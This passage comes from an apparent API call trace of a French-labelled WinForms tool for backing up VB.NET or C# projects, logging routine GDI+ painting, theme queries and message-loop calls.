(hdc=0x530101a0, type=0x6) returned 0x18a002e [0256.321] SaveDC (hdc=0x530101a0) returned 2 [0256.321] GetNearestColor (hdc=0x530101a0, color=0xf0f0f0) returned 0xf0f0f0 [0256.321] CreateSolidBrush (color=0xf0f0f0) returned 0x411006a2 [0256.321] FillRect (hDC=0x530101a0, lprc=0x2bdf34, hbr=0x411006a2) returned 1 [0256.321] DeleteObject (ho=0x411006a2) returned 1 [0256.321] RestoreDC (hdc=0x530101a0, nSavedDC=-1) returned 1 [0256.321] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0256.321] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0256.321] GetSystemMetrics (nIndex=42) returned 0 [0256.321] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0256.321] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0256.321] RestoreDC (hdc=0x530101a0, nSavedDC=-1) returned 1 [0256.321] GdipReleaseDC (graphics=0x4ae5320, hdc=0x530101a0) returned 0x0 [0256.321] IsAppThemed () returned 0x1 [0256.321] GetThemeAppProperties () returned 0x3 [0256.321] GetThemeAppProperties () returned 0x3 [0256.321] IsAppThemed () returned 0x1 [0256.321] GetThemeAppProperties () returned 0x3 [0256.321] GetThemeAppProperties () returned 0x3 [0256.321] IsThemePartDefined () returned 0x1 [0256.321] GdipCreateRegion (region=0x2be428) returned 0x0 [0256.321] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0256.321] GdipCreateMatrix (matrix=0x2be428) returned 0x0 [0256.321] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0256.321] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be440) returned 0x0 [0256.321] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0256.322] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd508) returned 0x0 [0256.322] LocalFree (hMem=0x5fd508) returned 0x0 [0256.322] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0256.322] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd508) returned 0x0 [0256.322] LocalFree (hMem=0x5fd508) returned 0x0 [0256.322] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0256.322] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be468) returned 0x0 [0256.322] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be458) returned 0x0 [0256.322] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be458) returned 0x0 [0256.322] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0256.322] GdipGetDC (graphics=0x4ae5320, hdc=0x2be470) returned 0x0 [0256.322] GetCurrentObject (hdc=0x530101a0, type=0x1) returned 0x1b00017 [0256.322] GetCurrentObject (hdc=0x530101a0, type=0x2) returned 0x1900010 [0256.322] GetCurrentObject (hdc=0x530101a0, type=0x7) returned 0x210506ba [0256.322] GetCurrentObject (hdc=0x530101a0, type=0x6) returned 0x18a002e [0256.322] SaveDC (hdc=0x530101a0) returned 1 [0256.322] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x8a0401eb [0256.322] GetClipRgn (hdc=0x530101a0, hrgn=0x8a0401eb) returned 0 [0256.322] SelectClipRgn (hdc=0x530101a0, hrgn=0x86040789) returned 2 [0256.322] DeleteObject (ho=0x8a0401eb) returned 1 [0256.322] DeleteObject (ho=0x86040789) returned 1 [0256.322] OffsetViewportOrgEx (in: hdc=0x530101a0, x=0, y=0, lppt=0x2546ca8 | out: lppt=0x2546ca8) returned 1 [0256.322] IsAppThemed () returned 0x1 [0256.322] GetThemeAppProperties () returned 0x3 [0256.322] GetThemeAppProperties () returned 0x3 [0256.322] DrawThemeBackground () returned 0x0 [0256.323] RestoreDC (hdc=0x530101a0, nSavedDC=-1) returned 1 [0256.323] GdipReleaseDC (graphics=0x4ae5320, hdc=0x530101a0) returned 0x0 [0256.323] GdipCreateRegion (region=0x2be410) returned 0x0 [0256.323] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0256.323] GdipCreateMatrix (matrix=0x2be410) returned 0x0 [0256.323] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0256.323] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be428) returned 0x0 [0256.323] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0256.323] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd508) returned 0x0 [0256.323] LocalFree (hMem=0x5fd508) returned 0x0 [0256.323] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0256.323] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd508) returned 0x0 [0256.323] LocalFree (hMem=0x5fd508) returned 0x0 [0256.323] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0256.323] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be450) returned 0x0 [0256.323] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be440) returned 0x0 [0256.323] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be440) returned 0x0 [0256.323] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0256.323] GdipGetDC (graphics=0x4ae5320, hdc=0x2be458) returned 0x0 [0256.323] GetCurrentObject (hdc=0x530101a0, type=0x1) returned 0x1b00017 [0256.323] GetCurrentObject (hdc=0x530101a0, type=0x2) returned 0x1900010 [0256.323] GetCurrentObject (hdc=0x530101a0, type=0x7) returned 0x210506ba [0256.323] GetCurrentObject (hdc=0x530101a0, type=0x6) returned 0x18a002e [0256.323] SaveDC (hdc=0x530101a0) returned 1 [0256.323] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x87040789 [0256.323] GetClipRgn (hdc=0x530101a0, hrgn=0x87040789) returned 0 [0256.323] SelectClipRgn (hdc=0x530101a0, hrgn=0x8b0401eb) returned 2 [0256.324] DeleteObject (ho=0x87040789) returned 1 [0256.324] DeleteObject (ho=0x8b0401eb) returned 1 [0256.324] OffsetViewportOrgEx (in: hdc=0x530101a0, x=0, y=0, lppt=0x2546f7c | out: lppt=0x2546f7c) returned 1 [0256.324] IsAppThemed () returned 0x1 [0256.324] GetThemeAppProperties () returned 0x3 [0256.324] GetThemeAppProperties () returned 0x3 [0256.324] GetThemeBackgroundContentRect () returned 0x0 [0256.324] RestoreDC (hdc=0x530101a0, nSavedDC=-1) returned 1 [0256.324] GdipReleaseDC (graphics=0x4ae5320, hdc=0x530101a0) returned 0x0 [0256.324] IsAppThemed () returned 0x1 [0256.324] GetThemeAppProperties () returned 0x3 [0256.324] GetThemeAppProperties () returned 0x3 [0256.324] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be588) returned 0x0 [0256.324] GdipGetDC (graphics=0x4ae5320, hdc=0x2be574) returned 0x0 [0256.324] GetCurrentObject (hdc=0x530101a0, type=0x1) returned 0x1b00017 [0256.324] GetCurrentObject (hdc=0x530101a0, type=0x2) returned 0x1900010 [0256.324] GetCurrentObject (hdc=0x530101a0, type=0x7) returned 0x210506ba [0256.324] GetCurrentObject (hdc=0x530101a0, type=0x6) returned 0x18a002e [0256.324] SaveDC (hdc=0x530101a0) returned 1 [0256.324] GetTextAlign (hdc=0x530101a0) returned 0x0 [0256.324] GetTextColor (hdc=0x530101a0) returned 0x0 [0256.324] GetCurrentObject (hdc=0x530101a0, type=0x6) returned 0x18a002e [0256.324] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be27c | out: pv=0x2be27c) returned 92 [0256.324] SelectObject (hdc=0x530101a0, h=0x90a01e9) returned 0x18a002e [0256.324] GetBkMode (hdc=0x530101a0) returned 2 [0256.324] SetBkMode (hdc=0x530101a0, mode=1) returned 2 [0256.325] DrawTextExW (in: hdc=0x530101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be350, format=0x2415, lpdtp=0x2547310 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be350) returned 13 [0256.325] DrawTextExW (in: hdc=0x530101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be508, format=0x2015, lpdtp=0x2547310 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be508) returned 13 [0256.325] RestoreDC (hdc=0x530101a0, nSavedDC=-1) returned 1 [0256.325] GdipReleaseDC (graphics=0x4ae5320, hdc=0x530101a0) returned 0x0 [0256.325] GetFocus () returned 0x1019c [0256.325] IsAppThemed () returned 0x1 [0256.325] GetThemeAppProperties () returned 0x3 [0256.325] GetThemeAppProperties () returned 0x3 [0256.325] GdipGetDC (graphics=0x4ae5320, hdc=0x2be754) returned 0x0 [0256.325] BitBlt (hdc=0x701068c, x=0, y=0, cx=163, cy=29, hdcSrc=0x530101a0, x1=0, y1=0, rop=0xcc0020) returned 1 [0256.326] GdipReleaseDC (graphics=0x4ae5320, hdc=0x530101a0) returned 0x0 [0256.326] SelectPalette (hdc=0x701068c, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0256.326] SelectObject (hdc=0x530101a0, h=0x185000f) returned 0x210506ba [0256.326] DeleteDC (hdc=0x530101a0) returned 1 [0256.326] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0256.326] EndPaint (hWnd=0x1019c, lpPaint=0x2be6f8) returned 1 [0256.326] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0256.326] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0256.326] WaitMessage () returned 1 [0256.418] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0256.418] IsWindowUnicode (hWnd=0x20152) returned 1 [0256.418] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0256.418] TranslateMessage (lpMsg=0x2bec18) returned 0 [0256.418] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0256.418] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0256.418] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0256.418] WaitMessage () returned 1 [0256.612] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0256.612] IsWindowUnicode (hWnd=0x1019e) returned 1 [0256.612] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0256.612] TranslateMessage (lpMsg=0x2bec18) returned 0 [0256.612] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0256.612] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0256.612] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0256.612] WaitMessage () returned 1 [0257.432] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0257.432] IsWindowUnicode (hWnd=0x1019c) returned 1 [0257.432] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0257.432] GetKeyState (nVirtKey=16) returned 0 [0257.432] GetKeyState (nVirtKey=17) returned 0 [0257.432] GetKeyState (nVirtKey=18) returned -128 [0257.432] SendMessageW (hWnd=0x1019c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0257.432] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0257.432] GetKeyState (nVirtKey=16) returned 0 [0257.432] GetKeyState (nVirtKey=17) returned 0 [0257.432] GetKeyState (nVirtKey=18) returned -128 [0257.432] TranslateMessage (lpMsg=0x2bec18) returned 1 [0257.432] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0257.432] GetKeyState (nVirtKey=16) returned 0 [0257.432] GetKeyState (nVirtKey=17) returned 0 [0257.432] GetKeyState (nVirtKey=18) returned -128 [0257.432] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0257.432] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0257.432] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0257.432] WaitMessage () returned 1 [0257.436] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0257.436] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0257.474] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0257.474] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0257.534] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8b0 | out: lpwndpl=0x2be8b0) returned 1 [0257.534] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0257.534] GetClientRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0257.534] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0257.535] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0257.535] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48edb8) returned 0x0 [0257.535] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0257.545] NtdllDefWindowProc_W () returned 0x0 [0257.545] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0257.545] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0257.545] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0257.545] GetCapture () returned 0x0 [0257.545] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0257.545] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0257.546] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0257.546] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0257.546] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0257.546] IsWindowUnicode (hWnd=0x1019c) returned 1 [0257.546] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0257.546] TranslateMessage (lpMsg=0x2bec18) returned 0 [0257.546] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0257.546] BeginPaint (in: hWnd=0x1019c, lpPaint=0x2be6fc | out: lpPaint=0x2be6fc) returned 0x100107ec [0257.546] SelectPalette (hdc=0x100107ec, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0257.546] CreateCompatibleDC (hdc=0x100107ec) returned 0x640101a0 [0257.546] SelectObject (hdc=0x640101a0, h=0x210506ba) returned 0x185000f [0257.546] GdipCreateFromHDC (hdc=0x640101a0, graphics=0x2be714) returned 0x0 [0257.546] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0257.546] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0257.546] GdipCreateMatrix (matrix=0x2be75c) returned 0x0 [0257.546] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0257.546] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be774) returned 0x0 [0257.546] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0257.546] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd508) returned 0x0 [0257.546] LocalFree (hMem=0x5fd508) returned 0x0 [0257.546] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0257.547] GdipCreateRegion (region=0x2be75c) returned 0x0 [0257.547] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0257.547] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be768) returned 0x0 [0257.547] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be794) returned 0x0 [0257.547] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfd870dbd) returned 0x0 [0257.547] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0257.547] GdipGetDC (graphics=0x4ae5320, hdc=0x2be580) returned 0x0 [0257.547] GetCurrentObject (hdc=0x640101a0, type=0x1) returned 0x1b00017 [0257.547] GetCurrentObject (hdc=0x640101a0, type=0x2) returned 0x1900010 [0257.547] GetCurrentObject (hdc=0x640101a0, type=0x7) returned 0x210506ba [0257.547] GetCurrentObject (hdc=0x640101a0, type=0x6) returned 0x18a002e [0257.547] SaveDC (hdc=0x640101a0) returned 1 [0257.547] GetNearestColor (hdc=0x640101a0, color=0xf0f0f0) returned 0xf0f0f0 [0257.547] GetNearestColor (hdc=0x640101a0, color=0xa0a0a0) returned 0xa0a0a0 [0257.547] GetNearestColor (hdc=0x640101a0, color=0x696969) returned 0x696969 [0257.547] GetNearestColor (hdc=0x640101a0, color=0xa0a0a0) returned 0xa0a0a0 [0257.548] GetNearestColor (hdc=0x640101a0, color=0x0) returned 0x0 [0257.548] GetNearestColor (hdc=0x640101a0, color=0xffffff) returned 0xffffff [0257.548] GetNearestColor (hdc=0x640101a0, color=0xe5e5e5) returned 0xe5e5e5 [0257.548] GetNearestColor (hdc=0x640101a0, color=0xd7d7d7) returned 0xd7d7d7 [0257.548] GetNearestColor (hdc=0x640101a0, color=0x0) returned 0x0 [0257.548] RestoreDC (hdc=0x640101a0, nSavedDC=-1) returned 1 [0257.548] GdipReleaseDC (graphics=0x4ae5320, hdc=0x640101a0) returned 0x0 [0257.548] IsAppThemed () returned 0x1 [0257.548] GetThemeAppProperties () returned 0x3 [0257.548] GetThemeAppProperties () returned 0x3 [0257.548] IsAppThemed () returned 0x1 [0257.548] GetThemeAppProperties () returned 0x3 [0257.548] GetThemeAppProperties () returned 0x3 [0257.548] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be43c, format=0x2415, lpdtp=0x25684d4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be43c) returned 13 [0257.548] IsAppThemed () returned 0x1 [0257.548] GetThemeAppProperties () returned 0x3 [0257.548] GetThemeAppProperties () returned 0x3 [0257.548] IsAppThemed () returned 0x1 [0257.548] GetThemeAppProperties () returned 0x3 [0257.548] GetThemeAppProperties () returned 0x3 [0257.548] GetFocus () returned 0x0 [0257.548] IsAppThemed () returned 0x1 [0257.549] GetThemeAppProperties () returned 0x3 [0257.549] GetThemeAppProperties () returned 0x3 [0257.549] IsAppThemed () returned 0x1 [0257.549] GetThemeAppProperties () returned 0x3 [0257.549] GetThemeAppProperties () returned 0x3 [0257.549] IsThemePartDefined () returned 0x1 [0257.549] IsAppThemed () returned 0x1 [0257.549] GetThemeAppProperties () returned 0x3 [0257.549] GetThemeAppProperties () returned 0x3 [0257.549] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0257.549] IsAppThemed () returned 0x1 [0257.549] GetThemeAppProperties () returned 0x3 [0257.549] GetThemeAppProperties () returned 0x3 [0257.549] IsAppThemed () returned 0x1 [0257.549] GetThemeAppProperties () returned 0x3 [0257.549] GetThemeAppProperties () returned 0x3 [0257.549] IsThemePartDefined () returned 0x1 [0257.549] GdipCreateRegion (region=0x2be484) returned 0x0 [0257.549] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0257.549] GdipCreateMatrix (matrix=0x2be484) returned 0x0 [0257.549] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0257.549] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be49c) returned 0x0 [0257.549] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0257.549] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd508) returned 0x0 [0257.549] LocalFree (hMem=0x5fd508) returned 0x0 [0257.549] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0257.549] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd508) returned 0x0 [0257.550] LocalFree (hMem=0x5fd508) returned 0x0 [0257.550] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0257.550] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4c4) returned 0x0 [0257.550] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4b4) returned 0x0 [0257.550] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be4b4) returned 0x0 [0257.550] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0257.550] GdipGetDC (graphics=0x4ae5320, hdc=0x2be4cc) returned 0x0 [0257.550] GetCurrentObject (hdc=0x640101a0, type=0x1) returned 0x1b00017 [0257.550] GetCurrentObject (hdc=0x640101a0, type=0x2) returned 0x1900010 [0257.550] GetCurrentObject (hdc=0x640101a0, type=0x7) returned 0x210506ba [0257.550] GetCurrentObject (hdc=0x640101a0, type=0x6) returned 0x18a002e [0257.550] SaveDC (hdc=0x640101a0) returned 1 [0257.550] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x8c0401eb [0257.550] GetClipRgn (hdc=0x640101a0, hrgn=0x8c0401eb) returned 0 [0257.550] SelectClipRgn (hdc=0x640101a0, hrgn=0x8e040789) returned 2 [0257.550] DeleteObject (ho=0x8c0401eb) returned 1 [0257.550] DeleteObject (ho=0x8e040789) returned 1 [0257.550] OffsetViewportOrgEx (in: hdc=0x640101a0, x=0, y=0, lppt=0x2568b84 | out: lppt=0x2568b84) returned 1 [0257.550] DrawThemeParentBackground () returned 0x0 [0257.551] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be240 | out: lpwndpl=0x2be240) returned 1 [0257.551] GetClientRect (in: hWnd=0x40150, lpRect=0x2be1ec | out: lpRect=0x2be1ec) returned 1 [0257.551] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0257.551] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0257.551] GetSystemMetrics (nIndex=42) returned 0 [0257.551] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be07c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0257.551] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be07c) returned 0x23 [0257.551] GetClientRect (in: hWnd=0x40150, lpRect=0x2be0f4 | out: lpRect=0x2be0f4) returned 1 [0257.551] GetCurrentObject (hdc=0x640101a0, type=0x1) returned 0x1b00017 [0257.551] GetCurrentObject (hdc=0x640101a0, type=0x2) returned 0x1900010 [0257.551] GetCurrentObject (hdc=0x640101a0, type=0x7) returned 0x210506ba [0257.551] GetCurrentObject (hdc=0x640101a0, type=0x6) returned 0x18a002e [0257.551] SaveDC (hdc=0x640101a0) returned 2 [0257.551] GetNearestColor (hdc=0x640101a0, color=0xf0f0f0) returned 0xf0f0f0 [0257.551] CreateSolidBrush (color=0xf0f0f0) returned 0x421006a2 [0257.551] FillRect (hDC=0x640101a0, lprc=0x2bdf94, hbr=0x421006a2) returned 1 [0257.551] DeleteObject (ho=0x421006a2) returned 1 [0257.551] RestoreDC (hdc=0x640101a0, nSavedDC=-1) returned 1 [0257.551] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0257.552] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0257.552] GetSystemMetrics (nIndex=42) returned 0 [0257.552] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0257.552] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0257.552] GetClientRect (in: hWnd=0x40150, lpRect=0x2be094 | out: lpRect=0x2be094) returned 1 [0257.552] GetCurrentObject (hdc=0x640101a0, type=0x1) returned 0x1b00017 [0257.552] GetCurrentObject (hdc=0x640101a0, type=0x2) returned 0x1900010 [0257.552] GetCurrentObject (hdc=0x640101a0, type=0x7) returned 0x210506ba [0257.552] GetCurrentObject (hdc=0x640101a0, type=0x6) returned 0x18a002e [0257.552] SaveDC (hdc=0x640101a0) returned 2 [0257.552] GetNearestColor (hdc=0x640101a0, color=0xf0f0f0) returned 0xf0f0f0 [0257.552] CreateSolidBrush (color=0xf0f0f0) returned 0x431006a2 [0257.552] FillRect (hDC=0x640101a0, lprc=0x2bdf34, hbr=0x431006a2) returned 1 [0257.552] DeleteObject (ho=0x431006a2) returned 1 [0257.552] RestoreDC (hdc=0x640101a0, nSavedDC=-1) returned 1 [0257.552] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0257.552] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0257.552] GetSystemMetrics (nIndex=42) returned 0 [0257.552] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0257.552] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0257.552] RestoreDC (hdc=0x640101a0, nSavedDC=-1) returned 1 [0257.552] GdipReleaseDC (graphics=0x4ae5320, hdc=0x640101a0) returned 0x0 [0257.552] IsAppThemed () returned 0x1 [0257.553] GetThemeAppProperties () returned 0x3 [0257.553] GetThemeAppProperties () returned 0x3 [0257.553] IsAppThemed () returned 0x1 [0257.553] GetThemeAppProperties () returned 0x3 [0257.553] 